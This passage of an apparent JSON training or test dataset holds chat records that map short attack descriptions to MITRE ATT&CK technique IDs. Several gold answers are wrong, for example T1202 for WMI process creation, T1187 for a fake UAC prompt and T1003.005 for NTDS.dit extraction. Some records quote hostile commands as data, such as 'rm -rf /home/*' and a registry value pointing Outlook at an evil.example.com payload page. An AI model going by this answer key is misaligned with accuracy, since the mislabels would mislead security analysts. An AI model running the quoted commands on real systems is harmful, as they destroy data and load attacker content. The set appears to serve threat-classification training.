                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to persist, the malicious actor adds an LC_LOAD_DYLIB load command to a legitimate macOS binary, causing a back‑door dylib to be loaded on launch."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on the victim's machine exfiltrated the contents of the user's address book and calendar entries to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers scrape local business directories to gather addresses of the target firm's branch locations."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the BIOS with a malicious version that executes their code during the Power-On Self Test phase."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies a shared presentation file (e.g., .pptx) to include a malicious macro that exfiltrates data when the file is opened by any employee."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module pulls cached domain credentials from memory to steal NTLM hashes for pass-the-hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a version of its payload with all debug information stripped, reducing its size and making heuristic detection more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'net group /domain' command to list all domain groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample leverages WMI’s Win32_Process.Create method to spawn a cmd.exe process that runs an additional payload on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the intruder enumerates certificate trust stores on victim machines to identify cross‑certificate trust chains within the network."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a user-mode rootkit to intercept system calls and mask malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim's device initiates a Bluetooth file transfer to exfiltrate keylogging logs to an attacker-controlled phone."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker coerces a user into providing credentials by repeatedly presenting a fake Windows UAC prompt that requires authentication."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ROMMON manipulation, the malicious actor ensures their code runs in the pre-boot phase of a network device."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes commands that purge all System Restore data and set the system to ignore future restore point creation."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion copies a remote access trojan onto a domain controller using Windows admin shares."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits Group Policy Preferences to deploy a scheduled task that runs a PowerShell reverse shell on domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes random bytes to the end of each stolen document, increasing file entropy and confusing file‑type identification tools."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'cat' command on /proc/self/environ to capture environment variables that contain authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a new kernel‑mode driver via the Service Control Manager for persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cleared log files and deleted evidence by removing all files in the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploitation chain results in the creation of a new SSH key entry in the victim’s authorized_keys file."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a new Windows service named 'svcHost' that loads a malicious DLL at system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code gathers user files and wraps them in a custom archive to hide content from security tools."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage stolen local administrator credentials to access high‑privilege services on the host."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor crafts an AppleScript that injects malicious AppleEvents into a privileged process to elevate privileges on macOS."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider altered the build configuration of a credential‑dumping tool to erase metadata that could reveal its origin."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is dropped into the service's working directory, and the service is restarted to load the code for execution."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious code in a .py file and trigger execution via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script employs the NtQueryInformationProcess API to detect a debugger and abort execution."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script modifies proxy settings on victims' browsers to point to an attacker-controlled internal proxy server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A seemingly legitimate calendar invitation from a senior manager includes a .lnk file that, when opened, executes a malicious script to harvest domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious email contains a link that appears to be a Microsoft Teams invitation but redirects to a credential harvesting page."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged compromised credentials to authenticate to a legitimate VPN service and maintain persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a stolen code signing key to sign a ransomware payload, making the file appear authentic and avoiding detection by signature-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious code into the component's firmware, allowing execution in the pre‑OS environment."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the 'tar' utility with the -czf flags to archive and compress exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion attempt gathers kernel version, running services, and installed software list via system calls."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a browser exploit to gain access to sensitive information"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell to stop the Windows Firewall service."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces a legitimate dynamic library used by a privileged service with a malicious version to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors downgrade the operating system image to a prior release in order to evade recent security updates."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies an existing systemd service file to include a malicious ExecStart command."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses a network shared folder and harvests confidential PDFs for later data theft."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites configuration files, causing services to fail on startup."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor encodes command output with URL encoding to hide it in DNS query names."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Windows Task Scheduler, the malware creates a daily task that uploads harvested data to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses OSINT tools to enumerate all subdomains disclosed in public sources for the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloads a custom backdoor from a hidden repository to use in compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a SOCKS proxy on a victim machine, tunneling all subsequent network traffic through it."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Active Directory domain trust settings to establish a new trust with a compromised external domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used 'rm -rf /home/*' to erase all user home directories on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell ConvertFrom‑StringData command to decode a Base64‑encoded command sequence stored in the registry."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator purchases ransomware payloads from a ransomware‑as‑a‑service provider for use in targeted attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the XPC interface of a system utility to trigger the execution of a payload with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is disguised as a legitimate PowerShell profile by using the same file name as the user's profile script."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses a Helm chart to install a cron job in Kubernetes that contacts a C2 server weekly."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group extracts domain trust data using the netdom command to map trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .reg file that sets Outlook's HomePage to http://evil.example.com/payload.html, causing the page to load each time Outlook is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stopped the auditd service to prevent Linux audit logs from being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs 'dsquery * -filter \"(objectClass=domain)\" -attr msDS-PasswordSettingsPrecedence' to discover password policies."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following credential dumping, the intrusion set clears the command line history on the compromised system to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves abusing the PubPrn utility to proxy malicious scripts to the spooler service."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that disables the 'System Protection' feature and removes all shadow copies, preventing any rollback."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reads cached Azure AD access tokens from a compromised workstation's memory."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Repeatedly invoking a reporting function in the application via automated scripts causes the server to run out of processing capacity, resulting in denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program continuously broadcasts ARP reply packets to update the victim’s ARP table with a false MAC address."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use web crawling tools to discover and catalog websites registered under the victim's corporate name."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages insecure API gateways to invoke compromised serverless functions for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers publish SEO-optimized malicious web pages that appear at the top of search results, luring users to download malware."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest cached domain credentials by extracting the NTDS.dit file from a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated spyware component captures every key stroke entered on the infected host and forwards the logs to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the Mavinject command-line tool to inject code into the Windows task host (taskhost.exe), achieving persistence through proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages HTML smuggling by delivering a malicious HTML document that writes a dropped executable to disk via the FileSystem API after decoding."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts exploitation of a vulnerable DNS service, crafting packets that cause the server to execute arbitrary binaries."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encapsulated malicious payloads inside legitimate FTP file transfers to move data across network segments without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies a victim's serverless workflow in IBM Cloud Functions to execute ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
